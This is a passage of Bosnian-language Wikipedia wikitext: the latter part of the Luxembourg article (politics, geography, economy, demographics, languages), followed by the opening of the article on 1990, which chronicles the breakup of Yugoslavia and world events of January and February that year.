na području juga zemlje, Luksemburg doživljava nagli procvat privrede i postaje jedan od velikih svjetskih proizvođača [[čelik]]a. Međutim, krajem 20. vijeka i početkom 21. vijeka, proizvodnja čelika opada a država se sve više okreće bankarskom i finansijskom sektoru. == Vlada == [[Datoteka:Grand Duke Henri 29.09.2006.jpg|thumb|[[Henri, veliki vojvoda Luksemburga]], na vjenčanju svog sina princa Louisa (2006)]] Luksemburg je [[ustavna monarhija]] u formi parlamentarne demokratije. Po [[Ustav]]u iz 1868. godine veliki vojvoda vrši dužnost poglavara države. Zakonodavnu vlast vrši Parlament čiji se članovi biraju na izborima svakih pet godina (istovremeno sa izborima za [[Evropski parlament]]). Luksemburška unutrašnja politika je usmjerena na održavanje političke sigurnosti i socijalnog mira. Teme političkih diskusija se uglavnom odnose na budućnost zemlje u proširenoj, ujedinjenoj Evropi te održavanje sistema socijalne sigurnosti, reformama sistema obrazovanja, politiku useljavanja stranaca i unutrašnju sigurnost sa aspekta rastuće maloljetničke delikvencije i [[kriminal]]a. Također, dosta pažnje se poklanja i zaštiti okoline. === Moto === Na [[Luksemburški jezik|luksemburškom]] ''Mir wëlle bleiwe wat mir sinn'' ([[njemački jezik|njem.]] ''Wir wollen bleiben, was wir sind'', [[srpskohrvatski jezik|sh.]]: ''Želimo ostati ono što smo'') odnosno ni Nijemci ni Francuzi. (Pošto je [[Otto von Bismarck|Bismarck]] planirao da proda Luksemburg, čiji je vladar tada bio veliki vojvoda [[Vilim III, kralj Holandije|Vilim III]], francuskom caru [[Napoleon III|Napoleonu III]].) === Grb i zastava === Posebnost Luksemburga je ta da se, pored regularne državne zastave, crveno-bijelo-plave [[trobojka|trobojnice]], koristi i grb ''Roude Léiw'' (Crveni lav) kao nacionalni simbol. Naročito pri [[sport]]skim natjecanjima, državna zastava je gotovo u potpunosti zamijenjena državnim grbom. Kao jedan od razloga se navodi velika sličnost zastave sa [[Zastava Holandije|zastavom Holandije]]. Drugi razlog je što se ''crveni lav'' smatra simbolom borbe, hrabrosti i patrotizma Luksemburžana. Tokom 2006 godine, došlo je do političkih i javnih rasprava o zamjeni državne zastave ''crvenim lavom'' kao novom zastavom, međutim, i pored odobravanja većine stanovništva, u junu 2007 godine odustalo se od te namjere. Ipak, postavljeni su zakonski temelji kojima se izjednačava značaj i upotreba zvanične trobojnice i grba. == Političke podjele == [[Datoteka:Distrikte-Kantone-Gemeinden Lux.png|thumb|180px|Podjela Luksemburga na 3 distrikta, 12 kantona i 116 općina]] Država je podijeljena na tri distrikta ([[Grevenmacher (distrikt)|Grevenmacher]], [[Luxembourg (distrikt)|Luxembourg]] i [[Diekirch (distrikt)|Diekirch]]) sa ukupno dvanaest kantona i 116 općina. Od njih, 12 općina ima status grada. Općine imaju određenu samoupravu, međutim njihov rad nadgledaju guverneri distrikta koje postavlja veliki vojvoda. [[Luxembourg|Grad Luxembourg]] je glavni grad velikog vojvodstva te sjedište vlade. On se razvio u vodeće [[finansije|finansijsko]], središte Evrope, gdje 161 evropska i međunarodna [[banka]], ima svoje filijale i podružnice, među kojima je 48 njemačkih banaka. === Kantoni === [[Capellen]], [[Esch-sur-Alzette]], [[Luxembourg (kanton)|Luxembourg]], [[Mersch]], [[Clerf]], [[Diekirch]], [[Redingen]], [[Vianden]], [[Wiltz]], [[Echternach]], [[Grevenmacher]] , [[Petange]] i [[Remich]]. === Općine === === Gradovi === Stepen urbanizacije države je veoma visok; oko 92% stanovništva živi u [[grad (naseljeno mjesto)|gradovima]], (po podacima iz 2003), međutim to su uglavnom manji gradovi i naselja. Najveći grad je prijestolnica [[Luxembourg]], ([[Luksemburški jezik|luks.]], : ''Lëtzebuerg'') sa oko 86.329 stanovnika (metro područje oko 110.000). Pošto se samo zakonskim propisima može jednom naselju dati status grada, Luksemburg ima ''samo'' 12 gradova, kojima je status grada dat još u srednjem vijeku. Najveći gradovi se nalaze na jugoistoku zemlje u području Minette, gdje koncentrirano najviše industrije [[željezo|željeza]], i [[čelik]], a. Tu se, između ostalih, nalaze gradovi [[Esch-sur-Alzette]], (28.200 stanovnika), [[Differdingen]], (19.000), i [[Düdelingen]], (17.800). Na sjeveru Luksemburga se nalazi veći broj manjih gradova, koji su većinom sjedišta kantona. Najveći od njih su [[Diekirch]], (6500 stanovnika) i [[Ettelbrück]], (7500), što pored glavnog grada i Esch-sur-Alzette važe za treće glavno urbano središte zemlje. == Geografija == [[Datoteka:lux topo de.jpg|thumb|left|thumb|Reljef]] Sjeverni dio zemlje je dio [[Ardeni|Ardena]] i poznat je kao ''Ösling''. Ovo područje ima prosječnu nadmorsku visinu između 400 i 500 m. Karakteristika ovog područja su brojni šumoviti brežuljci, brda i strme riječne doline, kao što je to slučaj sa dolinom rijeke [[Sauer (rijeka)|Sauer]]. Najviše uzvišenje u Luksemburgu je brdo ''Kneiff'' u blizini gradića [[Huldange]] sa 590 metara nadmorske visine. Na jugu zemlje se nalazi plodno područje [[Gutland]], koje je mnogo gušće naseljeno, a u njemu se nalazi mnogo više industrije nego na sjeveru. Kroz ovo područje teku rijeke Sauer (na zapad), [[Clerve]] i [[Our]] (na sjever) i [[Alzette]] (na jug). Najniža tačka zemlje se nalazi na ušću rijeka Sauer i [[Mosel]] na 129 metara nadmorske visine. Na sjeveru Luksemburga se nalazi zaštićeni prirodni park [[Njemačko-luksemburški prirodni park]] od kojeg se 358&nbsp;km² nalazi u Luksemburgu. Najvažnije rijeke u Luksemburgu su [[Mosel]], koji na jugoistoku čini prirodnu granicu sa Njemačkom, [[Sauer (rijeka)|Sauer]], [[Our]] i [[Alzette]]. Luksemburg je jedna od pet zemalja Evropske unije koje nemaju izlaz na [[more]], ostale su: [[Austrija]], [[Češka]], [[Slovačka]] i [[Mađarska]]. == Klima == [[Datoteka:Luxembourg City climate.PNG|thumb|Klimatski dijagram grada Luksemburga]] Luksemburg ima umereno-kontinentalnu klimu, koja dosta utiče od strujanja sa [[Atlantski okean|Atlantskog okeana]], a karakterišu je blage zime i blaga, ugodna ljeta. [[Zrak]] je uglavnom svjež i vlažan, godišnja količina padavina iznosi 782,2&nbsp;mm; prosječna godišnja [[temperatura]] je 9&nbsp;°C, u [[januar]]u 0,8&nbsp;°C, a u julu 17,5&nbsp;°C. Najniže prosječne temperature u januaru iznose oko -2&nbsp;°C, dok su najviše temperature izmjerene u julu i [[august]]u. U ljetnim mjesecima temperature se kreću od 15–25&nbsp;°C, a nije rijetko da se penju i do 30&nbsp;°C. Na sjeveru zemlje, u Öslingu, je najčešće nešto svježije i tamo su padavine nešto češće. === Biljni i životinjski svijet === [[Datoteka:Mullerthal.jpg|left|thumb|150px|Dolina Müllerthal]] [[Osling]] na sjeveru zemlje, kao dio Ardena, je karakterističan po šumovitim brežuljcima i dubokim riječnim dolinama. Najrasprostranjenije vrste drveća su crvena [[bukva]], [[hrast]], [[javor]] i [[smreka]]. Na jugu zemlje, u području zvanom [[Gutland]] nadmorska visina je nešto niža (do 300&nbsp;m) a karakterišu ga pretežno poljoprivredna zemljišta i brojni vinogradi u blizini Mosela. Na jugoistoku zemlje rastu mnoge biljke koje su rasprostranjene većinom u području Sredozemlja, između ostalih biljke iz porodice [[Lamiaceae]] ([[žalfija]], [[ruzmarin]], [[podubica]] i druge). [[Životinje|Životinjski svijet]] je uglavnom sličan kao i u većini srednjoevropskih zemalja. Međutim, sjeverni dio Luksemburga je poznat po velikoj populaciji [[jelen]]a i [[divlja svinja|divljih svinja]], kao i ptica grabljivica. Ovdje žive i neke rijetke vrste ptica, kao što su [[crna roda]] ili [[lještarka]] (''Bonasa bonasia''). Kod nekih drugih vrste zabilježen je dramatičan pad populacije. Na primjer, 1960tih godina u Luksemburgu je živjelo oko 3.400 do 4.200 parova [[ćuk]]ova (''Athene noctua''), dok je [[2006]] godine njihov broj iznosio od 15 do 20 parova<ref>Dries van Nieuwenhuyse, Jean-Claude Génot, David H. Johnson: ''The Little Owl - Conservation, Ecology and Behavior of ''Athene noctua, Cambridge University Press, Cambridge 2008, str. 107, {{ISBN|978-0-521-88678-9}}</ref>. Luksemburg je poznat i po brojnosti ribljih vrsta, ovdje žive [[potočna pastrmka|potočne pastrmke]], [[štuka|štuke]], [[smuđ]]evi, jegulje, [[šaran]]i i mnoge druge ribe. U dolini Mosela, gdje je klima najbliža [[sredozemna klima|sredozemnoj]], živi zidni gušter, koji je karakterističan uglavnom za države [[Sredozemno more|Sredozemlja]]. == Privreda == Privreda Luksemburga je veoma stabilna, s visokim [[prihod]]ima zaposlenih. Veliku prednost u privredi daje blizina Luksemburga snažnim privrednim područjima Njemačke ([[Rurska oblast]]), Francuske i Belgije. Historijski posmatrano, Luksemburg je dugi niz godina imao relativno stabilan rast privrede, nisku [[inflacija|stopu inflacije]] i nisku stopu [[nezaposlenost]]i. Prosječni godišnji rast proizvodnje iznosi 3%, dok je inflacija 1,5 %. Industrijski sektor, u kojem je prvobitno dominirala proizvodnja [[čelik]]a, danas je vrlo diverzificiran sa snažnom industrijom hemijskih proizvoda, [[guma|gume]] i drugih proizvoda. Rast u finansijskom sektoru, na koji danas otpada oko 28% ukupnom [[Bruto domaći proizvod|bruto domaćeg proizvoda]], je više nego dovoljno nadomjestio opadanje u prihodima od čelika. Većina [[banka|banaka]] je u vlasništvu stranaca. [[Poljoprivreda]] je zasnovana na malehnim porodičnim farmama. Ekonomija zavisi i od brojne strane radne snage, pošto skoro 60% radnika iz okolnih zemalja gotovo svakodnevno putuje na radna mjesta u Luksemburgu. Iako je i Luksemburg, kao i ostale članice Evropske unije, pogođen globalnom [[recesija|ekonomskom recesijom]] u drugoj polovini ove decenije, ipak nastavlja uživati u izuzetno visokom životnom standardu. Bruto domaći proizvod po stanovniku je izuzetno visok i sa 32.700 [[američki dolar|dolara]] je treći na svijetu<ref name="CIA">{{Cite web |title=CIA World Factbook |url=https://www.cia.gov/library/publications/the-world-factbook/geos/lu.html |access-date=2010-10-18 |archive-date=2015-11-17 |archive-url=https://web.archive.org/web/20151117022402/https://www.cia.gov/library/publications/the-world-factbook/geos/lu.html |dead-url=yes }}</ref>, poslije [[Lihtenštajn]]a i [[Katar]]a, a daleko iznad evropskog prosjeka. Luksemburški finansijski sektor se sastoji iz 154 kreditne institucije iz 26 država svijeta, koje imaju u vlasništvu sredstva u visini od 843 milijarde [[euro|eura]] (stanje 30.9. 2006 godine)<ref name="nutshell">{{Cite web |title=Luxembourg in a Nutshell |url=http://www.luxembourg.co.uk/nutshell.html |access-date=2010-10-18 |archivedate=2008-07-07 |archiveurl=https://web.archive.org/web/20080707084211/http://www.luxembourg.co.uk/nutshell.html |deadurl=yes }}</ref> Luksemburg predstavlja najveće međunarodno središte privatnog bankarstva u Evropi, a u sektoru investicijskih fondova je drugi u svijetu, poslije SAD, te je osmi najveći finansijski centar u svijetu.<ref name="nutshell"/> Prije uvođenja [[euro|eura]] [[1. januar]]a [[2002]] godine, u Luksemburgu se koristio [[luksemburški franak]]. == Stanovništvo == === Struktura === [[Datoteka:Luxembourg demography.png|thumb|left|Rast stanovništva u Luksemburgu u periodu od 1961 do 2020;]] Luksemburg ima oko 520 000 stanovnika. Udio stranaca u ukupnom stanovništvu iznosi 44,5%. Oko 16,5% stanovništva su državljani [[Portugal]]a, zatim slijede [[Francuzi]] (5,8%), [[Italijani]] (4,1%), Belgijanci (3,5%) i drugi. U glavnom gradu 61,66% stanovništva čine strani državljani. Općina [[Larochette|Fiels]] sa preko 60% stranaca (pretežno Portugalaca) važi za zajednicu sa najvećim udjelom stranaca u Evropi. Prije desetak godina, udio stranaca je iznosio oko 37,6%. Sa oko 60.000 stranaca, tada je udio Crnogoraca iznosio 13,4% ukupnog stanovništva Luksemburga. Procjenjuje se da će [[2015]] godine, udio stranih državljana u Luksemburgu preći 50% ukupnog stanovništva. {| class="wikitable sortable" align="right" style="margin: 0 0 1em 1em; width: auto; line-height: 1.4em;" !colspan=3|Udio stranaca u Luksemburgu<br />stanje 1. april 2010<ref>[http://www.ecp.public.lu/repertoire/stats/2010/04/index.html Statistiques - 1. april 2010]{{Dead link|date=October 2023 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> |- !Nacionalnost !Broj !Udio u ukupnom<br />stanovništvu april 2010 |- |Portugal |84.621 |16,41 % |- |Francuska |31.908 |6,19 % |- |Italija |19.249 |3,73 % |- |Belgija |17.641 |3,42 % |- |Nemačka |12.950 |2,51 % |- |Ujedinjeno Kraljevstvo |5.915 |1,15 % |- |Holandija |4.353 |0,84 % |- |Španija |3.713 |0,72 % |} U Luksemburgu živi otprilike 2.500 pripadnika jenskog naroda kao nacionalna manjina, bez vlastitog statusa i sa različitim državljanstvima. Najpoznatije ''jensko mjesto'' Luksemburga je [[Weimerskirch]], gdje već dugi niz generacija žive brojne jenske porodice. U Luksemburgu radi oko 138.000 radnika (po podacima iz 2008) koji žive u susjednim državama. Oni čine oko 40% ukupne radne snage u zemlji. Oko 52% stranih radnika je porijeklom iz [[Lothringen]]a, 27% ih dolazi iz susjednih belgijskih područja, a 21% ih je iz njemačkih saveznih pokrajina [[Porajnje-Falačka]] i [[Saarland]] (podaci iz 2005). Oko 7.500 zaposlenih koji nisu Luksemburžani radi u brojnim evropskim institucijama sa sjedištem u Luksemburgu. === Starosna struktura === Od ukupnog stanovništva 18,9% Luksemburžana je mlađe od 15 godina (od toga 45.768 muškaraca i 42.980 žena), 66,5% stanovništva je između 15 i 64 godina starosti (157.453 muškaraca i 153.927 žena), dok je 14,6% starijih od 65 godina starosti (27.573 muškaraca i 40.870 žena). Prosječna starost stanovništva je 38,51 godina (stanje 2005). Očekivani prosječni životni vijek stanovništva iznosi 78,7 godina, za muškarce iznosi 75,5 godina, dok za žene iznosi čak 82,2 godine (procjena 2005). == Kultura == === Jezici === U pogledu jezika, situacija u Luksemburgu je veoma složena. Maternji jezik Luksemburžana je [[Luksemburški jezik|luksemburški]] (''Lëtzebuergesch''), narječje moselfrancuskog dijalekta, sa nešto više posuđenica iz [[francuski jezik|francuskog]] nego iz standardnog [[njemački jezik|njemačkog]]. Taj jezik je zakonom iz [[1984]] godine proglašen službenim jezikom Luksemburga, a po podacima Evropske unije, preko 70% stanovništva zemlje se izjasnilo kao govornici luksemburškog jezika. Standardni njemački i francuski jezik su također usvojeni kao zvanični jezici zemlje, tako da Luksemburg zakonski ima tri službena jezika. U javnom životu, naročito u pisanim medijima, naročito često se koristi njemački jezik. Smatra se da je oko 85% svih novinskih članaka napisano na njemačkom, oko 12% na francuskom a tek 3% na luksemburškom jeziku. Emisije brojnih radio stanica, zvanične internetske strance i oglakoriste mješavinu sva tri službena jezika. Iako sve [[knjiga|knjige]] iz Luksemburga imaju početnu cifru 2 u [[ISBN]] broju (koja označava francuski jezik), većina knjiga je napisana na luksemburškom i njemačkom jeziku. Zbog značaja u javnom životu, u osnovnim školama u Luksemburgu se obligatorno uče njemački i francuski jezik, a u višim razredima i [[engleski jezik]] (kao i drugi jezici). Tokom godina u obrazovanju se promijenio trend u korist francuskog jezika u odnosu na njemački, tako da se većinom nastava iz prirodnih nauka odvija na francuskom. Od [[1944]] godine, u javnim ustanovama i državnim organima, kao i na [[univerzitet]]ima se uglavnom koristi francuski jezik. Luksemburški jezik se uglavnom čuje u svakodnevnom razgovoru. Međutim, ukoliko građani koriste luksemburški ili njemački u korespodenciji sa državnim institucijama, uobičajeno je da na tim jezicima i dobiju povratne informacije. U sudskoj praksi, uobičajeno je da stranke u razgovoru i sudskim procesima koriste luksemburški jezik, zbog boljeg općeg razumijevanja, dok se sudski zapisnici sačinjavaju na njemačkom, a citati zakona na francuskom jeziku. U poslovnom svijetu, trgovini i gastronomiji, uglavnom se koristi francuski, pošto većina zaposlenih u sektoru usluga dolazi iz susjedne Francuske ili Belgije. Luksemburški i njemački jezik se uglavnom koristi u literaturi i medijima, kao i u oblasti religije. Od završetka [[Drugi svjetski rat|Drugog svjetskog rata]] i oslobađanja Luksemburga od nacističke okupacije [[1944]] godine, promijenjeno je međunarodno ime zemlje iz ''Luxemburg'' u ''Luxembourg'', a od tada se svi zakoni objavljuju na francuskom jeziku. Od prije nekoliko godina, svaki državljanin bilo koje zemlje Evropske unije, koji govori luksemburški jezik, može pristupiti [[Luksemburška armija|Luksemburškoj armiji]], bez promjene svog nacionalnog identiteta. Jedini uslov za pristupanje armiji je da osoba živi u Luksemburgu neprekidno najmanje 3 godine. Od ostalih jezika, u Luksemburgu se govori i jenski jezik, koji se njeguje kao zaseban [[idiom]], a najviše se govori u područjima Pfaffenthal i Weimerskirch. Dalje, gotovo 20% stanovništa, porijeklom Portugalaca i njihovih potomaka, često govori svoj maternji jezik - [[portugalski jezik|portugalski]].<ref>Informativni odjel luksemburške vlade: [http://www.gouvernement.lu/publications/download/AP_langues_DE_2005.pdf "Apropos Sprachen"] {{Webarchive|url=https://web.archive.org/web/20090904071032/http://www.gouvernement.lu/publications/download/AP_langues_DE_2005.pdf |date=2009-09-04 }}</ref><ref>Anketa ''Eurobarometer'': [http://ec.europa.eu/public_opinion/archives/ebs/ebs_237.en.pdf Evropljani i jezici]</ref> === Religije === Po starijim procjenama, smatralo se da je 98% stanovništva Luksemburga [[Katoličanstvo|katoličke vjeroispovijesti]]. Po novijim procjenama iz 2000 godine<ref name="CIA"/>, smatra se da je 87% stanovništva katolici, a ostalih 13% protestanti, [[jevrej]]i i [[musliman]]i. Pošto podaci o vjerskoj pripadnosti podliježu strogoj zakonskoj zaštiti, tačni podaci nisu poznati. Pretpostavlja se da gotovo 50% stanovnika koji se izjašnjavaju kao katolici, ne praktikuje vjerske običaje, kao što je to slučaj i u drugim susjednim zemljama (Francuskoj, Belgiji i Njemačkoj). Katolička crkva Luksemburga smatra, na svojoj zvaničnoj web stranici, da su većina stanovništva katolici.<ref>{{Cite web |title=Katolička crkva Luksemburga |url=http://www.cathol.lu/ |access-date=2010-10-18 |archive-date=2020-02-03 |archive-url=https://web.archive.org/web/20200203184702/https://cathol.lu/ }}</ref> == Sport == {{glavni|Sport u Luksemburgu}} == Filatelija == Prva poštanska marka Luksemburga izašla je 15. septembra 1852. godine. Serija od dvije marke prikazuje [[Wilhelm III.|Wilhelma III]], velikog vojvodu od Luksemburga i kralja [[Holandija|Holandije]]. [[Nominalna vrijednost|Nominalne vrijednosti]] su 10 [[cent]]i i 1 [[Srebrni groš|srebrnog groša]]. Štampana je u [[Leiz]]u u [[Francuska|Francuskoj]]. Prva marka izdata je u četiri nijanse crne boje. Druga marka je crveno-smeđe boje u šest raznih nijansi. Luksemburg je od 1. jula 1875. godine članica Svjetskog poštanskog saveza.<ref>'''MICHEL''' Europa-katalog, Nord- und Nordwesteuropa 2001/2002, Band 3 ''Schwanberger Verlag GmbH, München'' {{ISBN|3-87858-660-4}} {{Simboli jezika|de|Njemački}}</ref> == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Luxembourg}} * [http://www.lcto.lu/en/index {{Webarchive|url=https://web.archive.org/web/20091001135610/http://www.lcto.lu/en/index/ |date=2009-10-01 }} Zvanična stranica Turističkog saveza Luksemburga] * [http://www.gouvernement.lu/ Vlada Luksemburga] * [http://www.servat.unibe.ch/law/icl/lu00000_.html {{Webarchive|url=https://web.archive.org/web/20090923211137/http://www.servat.unibe.ch/law/icl/lu00000_.html |date=2009-09-23 }} Ustav Luksemburga] * [http://www.bcl.lu/fr/index.php {{Webarchive|url=https://web.archive.org/web/20080627154332/http://www.bcl.lu/fr/index.php |date=2008-06-27 }} Centralna banka Luksemburga] * [http://www.bourse.lu/Accueil.jsp {{Webarchive|url=https://web.archive.org/web/20181215230754/https://www.bourse.lu/Accueil.jsp |date=2018-12-15 }} Luksemburška berza] {{Države EU}} {{Evropa}} [[Kategorija:Luksemburg| ]] [[Kategorija:Države u Evropi]] 52ef4t476s8ywtxeh8g427g5k1j48zh 0 3299 42602620 42598513 2026-05-27T22:15:50Z Alekol 2231 /* Mart/Ožujak */ 42602620 wikitext text/x-wiki {{godina nav}} {{godina u drugim kalendarima|1990}} __NOTOC__ Godina '''1990''' ('''[[Rimski brojevi|MCMXC]]''') bila je [[redovna godina koja počinje u ponedjeljak]] (link pokazuje kalendar). Godina prvih višestranačkih izbora u Jugoslaviji od [[1945]]. i početak institucionalnog razilaska njenih naroda i republika. <center> {| style="border:1px solid silver;background-color:white;padding:5px;" align=center class=radius | '''1990''': <br /> [[1990#Januar/Siječanj|1]] • [[1990#Februar/Veljača|2]] • [[1990#Mart/Ožujak|3]] • [[1990#April/Travanj|4]] • [[1990#Maj/Svibanj|5]] • [[1990#Jun/Juni/Lipanj|6]] • [[1990#Jul/Juli/Srpanj|7]] • [[1990#Avgust/August/Kolovoz|8]] • [[1990#Septembar/Rujan|9]] • [[1990#Oktobar/Listopad|10]] • [[1990#Novembar/Studeni|11]] • [[1990#Decembar/Prosinac|12]] <br /> [[1990#Rođenja|Rođenja]] • [[1990#Smrti|Smrti]] |}</center> == Događaji == === Januar/Siječanj === [[Datoteka:Dinar-Yugo-01-1990.jpg|thumb|left|"Antin dinar"]] * [[1. 1.]] - Početak programa reformi saveznog premijera [[Ante Marković]]a - denominirana je jugoslavenska valuta - [[dinar]] tako da je 10.000 dinara postalo 1 novi dinar, a građani su prvi put nakon drugog svjetskog rata mogli slobodno kupovati stranu valutu u bankama, po kursu 7 dinara za [[nemačka marka|marku]]. Omogućene strane investicije, cene i plate zamrznute na šest meseci, ali i predviđeno zatvaranje nerentabilnih firmi. * 1. 1. - "Antin dinar" startuje novčanicama od 50 i 200 dinara ("spomenici", → galerija pod [[#1990. u temama|1990. u temama]]). * 1. 1. - Novi Zakon o unutrašnjim poslovima u SR Hrvatskoj: općinski SUP-ovi postaju stanice javne sigurnosti u okviru 17 većih SUP-ova. * 1. 1. - U [[Poljska|Poljskoj]] startuje [[Balcerowiczev plan]], šok terapija za tranziciju iz planske socijalističke u tržišnu kapitalističku ekonomiju (znatan pad BDP 1990-91, zatim oporavak); zemlja se istog dana povlači iz [[Varšavski pakt|Varšavskog pakta]]. * 1. 1. - Prva epizoda ''[[Mr. Bean]]''-a. * [[3. 1.]] - [[Američka invazija na Panamu]]: [[Manuel Noriega]] se predao američkoj vojsci. * [[4. 1.]] - Sukkurska železnička nesreća: putnički voz udario u teretni kod sela Sangi u Pakistanu, 307 mrtvih. * [[6. 1.]] - U [[Nova Pazova|Novoj Pazovi]] održana osnivačka skupština [[Srpska narodna obnova|Srpske narodne obnove]], nastale iz Društva Svetog Save - zalažu se za Kralja, Dražu i maksimalističke granice. * [[7. 1.]] - SFRJ: televizija prenosi pravoslavnu božićnu liturgiju. * 7. 1. - [[Krivi toranj u Pizi]] je prvi put posle 800 godina svog postojanja zatvoren za turiste radi [[restauracija|restauracije]]. * [[8. 1.]] - Privremena rumunska vlada daje pravo svim građanima da poseduju pasoš i da slobodno putuju u četiri susedne zemlje. * 12 - 19. 1. - Pogrom u Bakuu, u kontekstu [[Rat za Nagorno-Karabah|rata za Nagorno-Karabah]]: progon i proterivanje Jermena iz glavnog azerbejdžanskog grada. * [[15. 1.]] - Demonstranti upadaju u sedište rasformiranog [[Štazi]]ja kako bi sprečili uništavanje dokumenata. * [[16. 1.]] - Vođstvo [[SK Slovenije]] zahteva da se [[SKJ]] transformiše u labavu koaliciju republičkih partija. * [[19. 1.]] - "Borba": admiral [[Petar Šimić]], lider SKJ u armiji, izjavljuje da se armija neće povući od ideje komunizma, ali će poštovati volju većine na kongresu. * [[20. 1.]] - "[[Crni januar]]" u [[Baku]]u, [[Azerbejdžanska SSR]] - sovjetska vojska ulazi u grad, poginulo preko 100 civila. * 20. 1. - Počinju sukobi između indijske vojske i separatista u [[Kašmir]]u. * [[20. 1.|20]] - [[22. 1.]] - [[Četrnaesti kongres SKJ]], vanredni i poslednji - glavna tema uvođenje pluralizma u Jugoslaviji. * [[20. 1.]] - Neki slovenački delegati na XIV kongresu zahtevali da se odmah usvoji Deklaracija o podršci multipartizmu i slobodnim izborima, ali tvrda linija izglasala da se prvo prodiskutuje u komitetu. * [[21. 1.]] - Burna rasprava na kongresu [[SKJ]]: SK Slovenije, koji je pod pritiskom dolazećih višestranačkih izbora u aprilu, preti da će napustiti kongres ako ne budu izglasani liberalni predlozi. [[Datoteka:League of Communists of Yugoslavia Flag.svg|thumb|250px|† [[SKJ]]]] * [[22. 1.|22]]/[[23. 1.]] - [[Raspad SFRJ]]: XIV kongres SKJ izglasao ukidanje političkog monopola Partije i podršku višepartijskom sistemu ** Pošto neki drugi predlozi nisu izglasani (saradnja sa Evropom, ljudska prava, federalni sistem, tj. nije prihvaćen nijedan slovenački predlog, za razliku od svih srpskih, što vodi centralizovanom SKJ<ref>Jović 2003, 475</ref>), delegacija [[SK Slovenije]] iza ponoći odlučila napustiti kongres; nekoliko sati kasnije slijedi je delegacija [[SK Hrvatske]] - de facto se raspada [[Savez komunista Jugoslavije]]. * [[23. 1.]] - Osnivački kongres [[Srpski slobodarski pokret|Srpskog slobodarskog pokreta]] u [[Batajnica|Batajnici]], danas se smatra Prvim otadžbinskim kongresom [[Srpska radikalna stranka|Srpske radikalne stranke]]. * 23. 1. - Manje okupljanje Albanaca u Prištini. * [[24. 1.]] - [[2. 2.]] - Demonstracijama 40.000 studenata u [[Priština|Prištini]] počinju '''nemiri na Kosovu''' - traži se ukidanje vanrednog stanja, prekid sudskog procesa [[Azem Vlasi|Azemu Vlasiju]] i slobodni izbori; dolazi do oružanih sukoba sa žrtvama (naročito u [[Podujevo|Podujevu]]). * [[26. 1.]] - Barikade i pucnjava na miliciju u Peći i Titovoj Mitrovici, protesti i u Podujevu, Suvoj Reci, Vučitrnu. * 26. 1. - Pušten i treći agregat [[HE Višegrad]] (ukupna snaga 315 MW). * 26. 1. - Oluja na Burnsov dan ubila oko 100 ljudi u severozapadnoj Evropi. * [[27. 1.]] - Tanjug: 4 mrtvih u Orahovcu, jedan u Peći, demonstracije i u Suvoj Reci i Gnjilanu. * 27. 1. - U Zagrebu demonstrira 10.000 studenata zbog inflacije i opadanja životnog standarda (NYT). * [[31. 1.]] - Studenti Beogradskog univerziteta od ponoći pred Skupštinom SFRJ okupljeni pod parolama »Ne damo Kosovo!«, »Idemo na Kosovo!«, »Hoćemo oružje!«, traže ostavke saveznih vlasti. Još pet poginulih na Kosovu (Orahovac, Podujevo, Lipljan i dr.). I u Crnoj Gori demonstracije za povratak reda u pokrajini. * 31. 1. - Savezno predsedništvo naredilo "specijalne mere", kako bi okončalo nasilje na Kosovu. * 31. 1. - U [[Moskva|Moskvi]] je otvoren američki restoran „[[brza hrana|brze hrane]]“ „[[Mekdonalds]]“. * [[januar]] - Inflacija u SFRJ 41,5% (pad sa preko 2000 u decembru). === Februar/Veljača === * [[1. 2.]] - Demonstrativni izlazak tenkova JNA na ulice u nekoliko kosovskih gradova (do sada oko 30 poginulih u neredima), sutradan poslato još 2.000 srpskih milicionera. * [[2. 2.]] - U obraćanju parlamentu, južnoafrički predsednik [[F. W. de Klerk]] najavljuje radikalne reforme za okončanje [[apartheid]]a. * [[3. 2.]] - [[Datoteka:Logo of the Democratic Party (Serbia).jpg|22px|Demokratska stranka]] U Beogradu osnovana/obnovljena [[Demokratska stranka (Srbija)|Demokratska stranka]], prvi predsednik [[Dragoljub Mićunović]]. * [[4. 2.]] - Konferencija [[SK Slovenije]]: odvaja se od [[SKJ]], menja ime u Stranka socijaldemokratske obnove (ZKS-SDP), ne traže otcepljenje već konfederaciju. Istog dana povučeno 50 slovenačkih pripadnika Združenog odreda milicije saveznog SUP-a na Kosovu. * 4. 2. - Miting Srba u Karlovcu. * [[5. 2.]] - Predsednik predsedništva Srbije Slobodan Milošević optužuje Sloveniju i Hrvatsku za "podršku teroru" na Kosovu, kaže da bi stotine hiljada Srba mogle krenuti na Kosovo. * 5. 2. - U Republičkom sekretarijatu za pravosuđe SRH registrirano osam stranaka - obnova višestranačja u Hrvatskoj. [[Datoteka:Nelson Mandela's cell-Robben Island.jpg|mini|120px|Bivša [[Nelson Mandela|Mandelina]] ćelija na ostrvu Robben]] * [[7. 2.]] - Savezni predsednik [[Janez Drnovšek]] najavljuje pojačanje prisustva vojske na Kosovu, kao i razvojni program. * [[10. 2.]] - U Zagrebu obnovljen rad srpskog kulturnog društva »[[Prosvjeta]]«. * [[11. 2.]] - U [[Južna Afrika|Južnoj Africi]] bjelačka vlada posle 27 godina pušta [[Nelson Mandela|Nelsona Mandelu]] iz zatvora, označivši simbolički početak kraja režima [[apartheid]]a; ranije tijekom mjeseca dozvoljen rad [[afrički nacionalni kongres|Afričkog nacionalnog kongresa]]. * 11. 2. - [[Mike Tyson]] neočekivano izgubio od [[Buster Douglas|Bustera Douglasa]] u Tokiju. * [[13. 2.]] - [[SSSR]], [[SAD]], [[Velika Britanija]], [[Francuska]] i dve [[nemačka|nemačke]] države su objavili plan o ujedinjenju Nemačke. * [[14. 2.]] - [[Sabor Republike Hrvatske|Sabor]] SR Hrvatske usvojio Amandmane LIV do LXIlI na Ustav, kojima je ozakonjen višestranački sistem<ref>[https://narodne-novine.nn.hr/clanci/sluzbeni/1990_02_7_71.html Amandmani LIV do LXIlI na Ustav Socijalističke Republike Hrvatske]. narodne-novine.nn.hr</ref>. * 14. 2. - [[Voyager 1]] snimio "[[Obiteljski portret (Voyager)|Obiteljski portret]]" planeta Sunčevog sustava, među kojima je i [[Pale Blue Dot|Blijeda plava točka]] - Zemlja sa 6,7 milijardi kilometara. * [[17. 2.]] - U [[Knin]]u osnovana [[Srpska demokratska stranka (Hrvatska)|Srpska demokratska stranka]], na čelu [[Jovan Rašković]]. * [[19. 2.]] - Kosovski Albanci opet pojačavaju proteste, traže ostavku pokrajinskog rukovodstva; đaci bojkotuju nastavu, zatvorene mnoge radnje. Kosovski Srbi traže zaštitu. [[Datoteka:Family portrait (Voyager 